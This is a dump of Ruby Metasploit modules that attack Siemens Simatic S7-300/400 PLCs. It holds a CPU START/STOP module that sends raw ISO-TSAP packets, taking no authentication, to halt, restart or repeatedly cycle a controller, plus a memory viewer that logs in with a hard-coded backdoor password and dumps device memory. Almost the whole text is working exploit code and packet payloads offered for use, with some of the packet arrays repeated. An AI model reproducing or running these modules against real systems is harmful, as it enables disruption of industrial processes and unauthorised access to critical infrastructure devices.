"\x01\x00\x37\x31\x00\x00\x05\x4c"+ 546 | "\x00\x00\x00\x12\x00\x00\x03\x84"+ 547 | "\x30\x00\x00\x00\x34\x04\x04\x91"+ 548 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 549 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 550 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 551 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 552 | "\x00\x00\x72\x01\x00\x00", 553 | 554 | "\x03\x00\x00\x07\x02\xf0\x00", 555 | 556 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 557 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 558 | "\x00\x00\x00\x13\x00\x00\x03\x84"+ 559 | "\x30\x00\x00\x00\x40\x04\x04\x91"+ 560 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 561 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 562 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 563 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 564 | "\x00\x00\x72\x01\x00\x00", 565 | 566 | "\x03\x00\x00\x07\x02\xf0\x00", 567 | 568 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 569 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 570 | "\x00\x00\x00\x14\x00\x00\x03\x84"+ 571 | "\x30\x88\xe1\x00\x08\x04\x04\x91"+ 572 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 573 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 574 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 575 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 576 | "\x00\x00\x72\x01\x00\x00", 577 | 578 | "\x03\x00\x00\x07\x02\xf0\x00", 579 | 580 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 581 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 582 | "\x00\x00\x00\x15\x00\x00\x03\x84"+ 583 | "\x30\x88\xe1\x00\x07\x04\x04\x91"+ 584 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 585 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 586 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 587 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 588 | "\x00\x00\x72\x01\x00\x00", 589 | 590 | "\x03\x00\x00\x07\x02\xf0\x00", 591 | 592 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 593 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 594 | "\x00\x00\x00\x16\x00\x00\x03\x84"+ 595 | "\x30\x00\x00\x00\x21\x04\x04\x91"+ 596 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 597 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 598 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 599 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 600 | "\x00\x00\x72\x01\x00\x00", 601 | 602 | "\x03\x00\x00\x07\x02\xf0\x00", 603 | 604 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 605 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 606 | "\x00\x00\x00\x17\x00\x00\x03\x84"+ 607 | "\x30\x00\x00\x00\x41\x04\x04\x91"+ 608 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 609 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 610 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 611 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 612 | "\x00\x00\x72\x01\x00\x00", 613 | 614 | "\x03\x00\x00\x07\x02\xf0\x00", 615 | 616 | "\x03\x00\x00\x2b\x02\xf0\x80\x72"+ 617 | "\x01\x00\x1c\x31\x00\x00\x04\xbb"+ 618 | "\x00\x00\x00\x18\x00\x00\x03\x84"+ 619 | "\x30\x00\x00\x00\x08\x00\x00\x01"+ 620 | "\x01\x00\x00\x00\x00\x00\x00\x72"+ 621 | "\x01\x00\x00", 622 | 623 | "\x03\x00\x00\x07\x02\xf0\x00", 624 | 625 | "\x03\x00\x00\xa3\x02\xf0\x80\x72"+ 626 | "\x01\x00\x94\x31\x00\x00\x04\xca"+ 627 | "\x00\x00\x00\x19\x00\x00\x03\x84"+ 628 | "\x30\x00\x00\x03\x85\x00\x04\x00"+ 629 | "\x00\x00\x00\x00\xa1\x5d\x00\x00"+ 630 | "\x00\x87\x69\x00\x00\xa3\x81\x69"+ 631 | "\x00\x15\x17\x53\x75\x62\x73\x63"+ 632 | "\x72\x69\x70\x74\x69\x6f\x6e\x5f"+ 633 | "\x31\x35\x36\x30\x32\x38\x31\x30"+ 634 | "\x38\x38\xa3\x87\x6a\x00\x03\x00"+ 635 | "\x00\xa3\x87\x6b\x00\x09\x00\xa3"+ 636 | "\x88\x10\x00\x02\x02\xa3\x88\x11"+ 637 | "\x00\x01\x01\xa1\x5d\x00\x00\x02"+ 638 | "\x94\x66\x00\x00\xa3\x81\x69\x00"+ 639 | "\x15\x00\xa3\x87\x6d\x00\x02\x02"+ 640 | "\xa3\x94\x63\x10\x03\x0a\x00\x00"+ 641 | "\x00\x00\x00\x00\x00\x00\x00\x00"+ 642 | "\x00\x00\x00\x00\x00\x00\x00\x00"+ 643 | "\x00\x00\xa4\x94\x64\x00\x00\x00"+ 644 | "\x08\xa2\xa2\x00\x00\x00\x00\x72"+ 645 | "\x01\x00\x00", 646 | 647 | "\x03\x00\x00\x07\x02\xf0\x00", 648 | 649 | "\x03\x00\x00\x40\x02\xf0\x80\x72"+ 650 | "\x01\x00\x31\x31\x00\x00\x04\xfc"+ 651 | "\x00\x00\x00\x1a\x00\x00\x03\x84"+ 652 | "\x30\x00\x00\x00\x22\x01\x93\x11"+ 653 | "\x00\x00\x04\xe8\x89\x69\x00\x12"+ 654 | "\x00\x00\x00\x00\x89\x6a\x00\x13"+ 655 | "\x00\x89\x6b\x00\x04\x00\x00\x00"+ 656 | "\x00\x00\x00\x00\x72\x01\x00\x00", 657 | 658 | "\x03\x00\x00\x07\x02\xf0\x00", 659 | 660 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 661 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 662 | "\x00\x00\x00\x1b\x00\x00\x03\x84"+ 663 | "\x30\x00\x00\x00\x34\x04\x04\x91"+ 664 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 665 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 666 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 667 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 668 | "\x00\x00\x72\x01\x00\x00", 669 | 670 | "\x03\x00\x00\x07\x02\xf0\x00", 671 | 672 | "\x03\x00\x00\x40\x02\xf0\x80\x72"+ 673 | "\x01\x00\x31\x31\x00\x00\x04\xfc"+ 674 | "\x00\x00\x00\x1c\x00\x00\x03\x84"+ 675 | "\x30\x00\x00\x00\x22\x01\x93\x11"+ 676 | "\x00\x00\x04\xe8\x89\x69\x00\x12"+ 677 | "\x00\x00\x00\x00\x89\x6a\x00\x13"+ 678 | "\x00\x89\x6b\x00\x04\x00\x00\x00"+ 679 | "\x00\x00\x00\x00\x72\x01\x00\x00", 680 | 681 | "\x03\x00\x00\x07\x02\xf0\x00", 682 | 683 | "\x03\x00\x00\x40\x02\xf0\x80\x72"+ 684 | "\x01\x00\x31\x31\x00\x00\x04\xfc"+ 685 | "\x00\x00\x00\x1d\x00\x00\x03\x84"+ 686 | "\x30\x00\x00\x00\x32\x01\x9a\x7b"+ 687 | "\x00\x00\x04\xe8\x89\x69\x00\x12"+ 688 | "\x00\x00\x00\x00\x89\x6a\x00\x13"+ 689 | "\x00\x89\x6b\x00\x04\x00\x00\x00"+ 690 | "\x00\x00\x00\x00\x72\x01\x00\x00", 691 | 692 | "\x03\x00\x00\x07\x02\xf0\x00", 693 | 694 | "\x03\x00\x00\xfe\x02\xf0\x80\x72"+ 695 | "\x01\x00\xef\x31\x00\x00\x04\xca"+ 696 | "\x00\x00\x00\x1e\x00\x00\x03\x84"+ 697 | "\x30\x00\x00\x03\x85\x00\x04\x00"+ 698 | "\x00\x00\x00\x00\xa1\x5d\x00\x00"+ 699 | "\x03\x87\x69\x00\x00\xa3\x81\x69"+ 700 | "\x00\x15\x17\x53\x75\x62\x73\x63"+ 701 | "\x72\x69\x70\x74\x69\x6f\x6e\x5f"+ 702 | "\x31\x35\x36\x30\x32\x38\x31\x30"+ 703 | "\x39\x31\xa3\x87\x6a\x00\x03\x00"+ 704 | "\x00\xa3\x87\x6b\x00\x09\x00\xa3"+ 705 | "\x88\x10\x00\x02\x01\xa3\x88\x11"+ 706 | "\x00\x01\x01\xa1\x5d\x00\x00\x05"+ 707 | "\x87\x72\x00\x00\xa3\x81\x69\x00"+ 708 | "\x15\x13\x41\x74\x74\x72\x69\x62"+ 709 | "\x75\x74\x52\x65\x66\x65\x72\x65"+ 710 | "\x6e\x63\x65\x5f\x31\xa3\x87\x6d"+ 711 | "\x00\x02\x05\xa3\x87\x6f\x00\x12"+ 712 | "\x00\x00\x00\x03\xa3\x87\x70\x00"+ 713 | "\x12\x00\x00\x00\x01\xa3\x87\x73"+ 714 | "\x20\x04\x01\x93\x2f\xa3\x88\x05"+ 715 | "\x00\x04\x00\xa2\xa1\x5d\x00\x00"+ 716 | "\x06\x87\x72\x00\x00\xa3\x81\x69"+ 717 | "\x00\x15\x13\x41\x74\x74\x72\x69"+ 718 | "\x62\x75\x74\x52\x65\x66\x65\x72"+ 719 | "\x65\x6e\x63\x65\x5f\x32\xa3\x87"+ 720 | "\x6d\x00\x02\x02\xa3\x87\x6f\x00"+ 721 | "\x12\x00\x00\x00\x03\xa3\x87\x70"+ 722 | "\x00\x12\x00\x00\x00\x01\xa3\x87"+ 723 | "\x73\x20\x04\x01\x9c\x33\xa3\x88"+ 724 | "\x05\x00\x04\x00\xa2\xa2\x00\x00"+ 725 | "\x00\x00\x72\x01\x00\x00", 726 | 727 | "\x03\x00\x00\x07\x02\xf0\x00", 728 | 729 | "\x03\x00\x00\x2b\x02\xf0\x80\x72"+ 730 | "\x01\x00\x1c\x31\x00\x00\x04\xbb"+ 731 | "\x00\x00\x00\x1f\x00\x00\x03\x84"+ 732 | "\x30\x00\x00\x00\x03\x00\x01\x01"+ 733 | "\x01\x00\x00\x00\x00\x00\x00\x72"+ 734 | "\x01\x00\x00", 735 | 736 | "\x03\x00\x00\x07\x02\xf0\x00", 737 | 738 | "\x03\x00\x00\x07\x02\xf0\x00", 739 | 740 | "\x03\x00\x00\x07\x02\xf0\x00", 741 | 742 | "\x03\x00\x00\x07\x02\xf0\x00", 743 | 744 | "\x03\x00\x00\x07\x02\xf0\x00", 745 | 746 | "\x03\x00\x00\x07\x02\xf0\x00", 747 | 748 | "\x03\x00\x00\x07\x02\xf0\x00", 749 | 750 | "\x03\x00\x00\x07\x02\xf0\x00", 751 | 752 | "\x03\x00\x00\x43\x02\xf0\x80\x72"+ 753 | "\x01\x00\x34\x31\x00\x00\x04\xf2"+ 754 | "\x00\x00\x00\x20\x00\x00\x03\x84"+ 755 | "\x30\x00\x00\x00\x34\x01\x90\x77"+ 756 | "\x00\x08\x03\x00\x00\x04\xe8\x89"+ 757 | "\x69\x00\x12\x00\x00\x00\x00\x89"+ 758 | "\x6a\x00\x13\x00\x89\x6b\x00\x04"+ 759 | "\x00\x00\x00\x00\x00\x00\x00\x72"+ 760 | "\x01\x00\x00", 761 | 762 | "\x03\x00\x00\x07\x02\xf0\x00", 763 | 764 | "\x03\x00\x00\x07\x02\xf0\x00", 765 | 766 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 767 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 768 | "\x00\x00\x00\x21\x00\x00\x03\x84"+ 769 | "\x30\x00\x00\x00\x34\x04\x04\x91"+ 770 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 771 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 772 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 773 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 774 | "\x00\x00\x72\x01\x00\x00", 775 | 776 | "\x03\x00\x00\x07\x02\xf0\x00", 777 | 778 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 779 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 780 | "\x00\x00\x00\x22\x00\x00\x03\x84"+ 781 | "\x30\x00\x00\x00\x34\x04\x04\x91"+ 782 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 783 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 784 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 785 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 786 | "\x00\x00\x72\x01\x00\x00", 787 | 788 | "\x03\x00\x00\x07\x02\xf0\x00", 789 | 790 | "\x03\x00\x00\x07\x02\xf0\x00", 791 | 792 | "\x03\x00\x00\x07\x02\xf0\x00", 793 | 794 | "\x03\x00\x00\x46\x02\xf0\x80\x72"+ 795 | "\x01\x00\x37\x31\x00\x00\x05\x4c"+ 796 | "\x00\x00\x00\x23\x00\x00\x03\x84"+ 797 | "\x30\x00\x00\x00\x34\x04\x04\x91"+ 798 | "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+ 799 | "\x00\x04\xe8\x89\x69\x00\x12\x00"+ 800 | "\x00\x00\x00\x89\x6a\x00\x13\x00"+ 801 | "\x89\x6b\x00\x04\x00\x00\x00\x00"+ 802 | "\x00\x00\x72\x01\x00\x00", 803 | 804 | "\x03\x00\x00\x07\x02\xf0\x00" 805 | ] 806 | 807 | if(cpu == 1) 808 | connect() 809 | stop_cpu_pkt.each do |i| 810 | sock.put("#{i}") 811 | sleep(0.005) 812 | end 813 | end 814 | if(cpu == 2) 815 | connect() 816 | start_cpu_pkt.each do |i| 817 | sock.put("#{i}") 818 | sleep(0.005) 819 | end 820 | end 821 | for n in 0..cycles 822 | if(cpu == 3) 823 | connect() 824 | stop_cpu_pkt.each do |i| 825 | sock.put("#{i}") 826 | sleep(0.005) 827 | end 828 | connect() 829 | start_cpu_pkt.each do |i| 830 | sock.put("#{i}") 831 | sleep(0.005) 832 | end 833 | end 834 | end 835 | data = sock.get_once() 836 | print_good("#{ip} is up, iso-tsap is open.") 837 | if(cpu == 'true') 838 | print_status("Putting the PLC into START mode.") 839 | elsif(cpu == 'false') 840 | print_status("Putting the PLC into STOP mode.") 841 | end 842 | disconnect() 843 | rescue ::EOFError 844 | end 845 | end 846 | end -------------------------------------------------------------------------------- /simatic_s7_300_command.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | class Metasploit3 < Msf::Auxiliary 4 | 5 | include Msf::Exploit::Remote::Tcp 6 | include Rex::Socket::Tcp 7 | include Msf::Auxiliary::Scanner 8 | 9 | def initialize(info = {}) 10 | super(update_info(info, 11 | 'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module', 12 | 'Description' => %q{ 13 | The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP 14 | this modules allows an attacker to perform administrative commands without authentication. 15 | This module allows a remote user to change the state of the PLC between 16 | STOP and START, allowing an attacker to end process control by the PLC. 17 | }, 18 | 'Author' => 'Dillon Beresford', 19 | 'License' => MSF_LICENSE, 20 | 'References' => 21 | [ 22 | [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ], 23 | [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ], 24 | ], 25 | 'Version' => '$Revision$', 26 | 'DisclosureDate' => 'May 09 2011' 27 | )) 28 | 29 | register_options( 30 | [ 31 | Opt::RPORT(102), 32 | OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]), 33 | OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10]) 34 | ], self.class) 35 | end 36 | 37 | def run_host(ip) 38 | begin 39 | 40 | cpu = datastore['MODE'] || '' 41 | cycles = datastore['CYCLES'] || '' 42 | 43 | stop_cpu_pkt = 44 | [ 45 | "\x03\x00\x00\x16\x11\xe0\x00\x00"+ 46 | "\x00\x01\x00\xc1\x02\x01\x00\xc2"+ 47 | "\x02\x01\x02\xc0\x01\x09", 48 | 49 | "\x03\x00\x00\x19\x02\xf0\x80\x32"+ 50 | "\x01\x00\x00\xff\xff\x00\x08\x00"+ 51 | "\x00\xf0\x00\x00\x01\x00\x01\x03"+ 52 | "\xc0", 53 | 54 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 55 | "\x01\x00\x00\x00\x00\x00\x0e\x00"+ 56 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 57 | "\x40\x00\x01\x84\x00\x00\x00", 58 | 59 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 60 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 61 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 62 | "\x10\x00\x00\x83\x00\x00\x00", 63 | 64 | "\x03\x00\x00\x21\x02\xf0\x80\x32"+ 65 | "\x01\x00\x00\x00\x02\x00\x10\x00"+ 66 | "\x00\x29\x00\x00\x00\x00\x00\x09"+ 67 | "\x50\x5f\x50\x52\x4f\x47\x52\x41"+ 68 | "\x4d", 69 | 70 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 71 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 72 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 73 | "\x10\x00\x00\x83\x00\x00\x00", 74 | 75 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 76 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 77 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 78 | "\x10\x00\x00\x83\x00\x00\x00", 79 | 80 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 81 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 82 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 83 | "\x10\x00\x00\x83\x00\x00\x00", 84 | 85 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 86 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 87 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 88 | "\x10\x00\x00\x83\x00\x00\x00", 89 | 90 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 91 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 92 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 93 | "\x10\x00\x00\x83\x00\x00\x00", 94 | 95 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 96 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 97 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 98 | "\x10\x00\x00\x83\x00\x00\x00", 99 | 100 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 101 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 102 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 103 | "\x10\x00\x00\x83\x00\x00\x00", 104 | 105 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 106 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 107 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 108 | "\x10\x00\x00\x83\x00\x00\x00" 109 | ] 110 | 111 | start_cpu_pkt = 112 | [ 113 | "\x03\x00\x00\x16\x11\xe0\x00\x00"+ 114 | "\x00\x01\x00\xc1\x02\x01\x00\xc2"+ 115 | "\x02\x01\x02\xc0\x01\x09", 116 | 117 | "\x03\x00\x00\x19\x02\xf0\x80\x32"+ 118 | "\x01\x00\x00\xff\xff\x00\x08\x00"+ 119 | "\x00\xf0\x00\x00\x01\x00\x01\x03"+ 120 | "\xc0", 121 | 122 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 123 | "\x01\x00\x00\x00\x00\x00\x0e\x00"+ 124 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 125 | "\x40\x00\x01\x84\x00\x00\x00", 126 | 127 | "\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 128 | "\x01\x00\x00\x00\x01\x00\x0e\x00"+ 129 | "\x00\x04\x01\x12\x0a\x10\x02\x00"+ 130 | "\x10\x00\x00\x83\x00\x00\x00", 131 | 132 | 133 | "\x03\x00\x00\x25\x02\xf0\x80\x32"+ 134 | "\x01\x00\x00\x00\x02\x00\x14\x00"+ 135 | "\x00\x28\x00\x00\x00\x00\x00\x00"+ 136 | "\xfd\x00\x00\x09\x50\x5f\x50\x52"+ 137 | "\x4f\x47\x52\x41\x4d" 138 | 139 | ] 140 | # CPU STOP 141 | if(cpu == 1) 142 | connect() 143 | stop_cpu_pkt.each do |i| 144 | sock.put("#{i}") 145 | sleep(0.005) 146 | end 147 | end 148 | # CPU START 149 | if(cpu == 2) 150 | connect() 151 | start_cpu_pkt.each do |i| 152 | sock.put("#{i}") 153 | sleep(0.005) 154 | end 155 | end 156 | # STOP / START CPU 157 | for n in 0..cycles 158 | if(cpu == 3) 159 | connect() 160 | # We assume PLC is up and running (issue a stop command) 161 | stop_cpu_pkt.each do |i| 162 | sock.put("#{i}") 163 | sleep(0.005) 164 | end 165 | 166 | connect() 167 | # We assume PLC is has been stopped (issue a start command) 168 | start_cpu_pkt.each do |i| 169 | sock.put("#{i}") 170 | sleep(0.005) 171 | end 172 | end 173 | end 174 | 175 | data = sock.get_once() 176 | print_good("#{ip} PLC is running, iso-tsap port is open.") 177 | if(cpu == 'true') 178 | print_status("Putting the PLC into START mode.") 179 | elsif(cpu == 'false') 180 | print_status("Putting the PLC into STOP mode.") 181 | end 182 | disconnect() 183 | rescue ::EOFError 184 | end 185 | end 186 | end 187 | 188 | 189 | 190 | 191 | -------------------------------------------------------------------------------- /simatic_s7_300_memory_view.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | class Metasploit3 < Msf::Auxiliary 4 | 5 | include Msf::Exploit::Remote::HttpClient 6 | include Msf::Auxiliary::Scanner 7 | 8 | def initialize(info = {}) 9 | super(update_info(info, 10 | 'Name' => 'Siemens Simatic S7-300 PLC Remote Memory Viewer', 11 | 'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in 12 | the Simatic S7-300 PLC and dumps the device memory using system commands. 13 | Mode: Values 8, 16 or 32 bit access 14 | Valid address areas are: 15 | 80000000 - 81FFFFFF SD-Ram cached 16 | A0000000 - A1FFFFFF SD-Ram uncached 17 | A8000000 - A87FFFFF Norflash 18 | AFC00000 - AFC7FFFF ED-Ram int. uncached 19 | BFE00000 - BFEFFFFD COM-ED-Ram ext. 20 | C0000000 - C007FFFF ED-Ram int. cached 21 | D0000000 - D0005FFF Scratchpad data int. 22 | D4000000 - D4005FFF Scratchpad code int. 23 | F0100000 - F018FFFF SPS-Asic 16-Bit access only 24 | }, 25 | 'Author' => 'Dillon Beresford', 26 | 'License' => MSF_LICENSE, 27 | 'References' => 28 | [ 29 | [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ], 30 | [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ], 31 | [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ], 32 | ], 33 | 'Version' => '$Revision$', 34 | 'DisclosureDate' => 'June 2011' 35 | )) 36 | register_options( 37 | [ 38 | Opt::RPORT(8080), 39 | OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']), 40 | OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']), 41 | OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']), 42 | OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']), 43 | OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']), 44 | OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256']) 45 | ], self.class) 46 | 47 | end 48 | 49 | def run_host(ip) 50 | 51 | begin 52 | user = datastore['USER'] 53 | pass = datastore['PASS'] 54 | 55 | print_status("Attempting to connect to #{rhost}:#{rport}") 56 | len = '1024' 57 | login = send_request_raw( 58 | { 59 | 'method' => 'GET', 60 | 'uri' => "/login?User="+user+"&Password="+pass 61 | }) 62 | 63 | 64 | if (login) 65 | 66 | request = send_request_raw( 67 | { 68 | 'method' => 'GET', 69 | 'uri' => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE'] 70 | }) 71 | if (request and request.code == 200) 72 | 73 | print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}") 74 | elsif (request and request.code) 75 | print_error("Attempt #HTTP error #{request.code} on #{rhost}") 76 | end 77 | end 78 | 79 | rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout 80 | rescue ::Timeout::Error, ::Errno::EPIPE 81 | rescue ::LocalJumpError 82 | end 83 | end 84 | end 85 | --------------------------------------------------------------------------------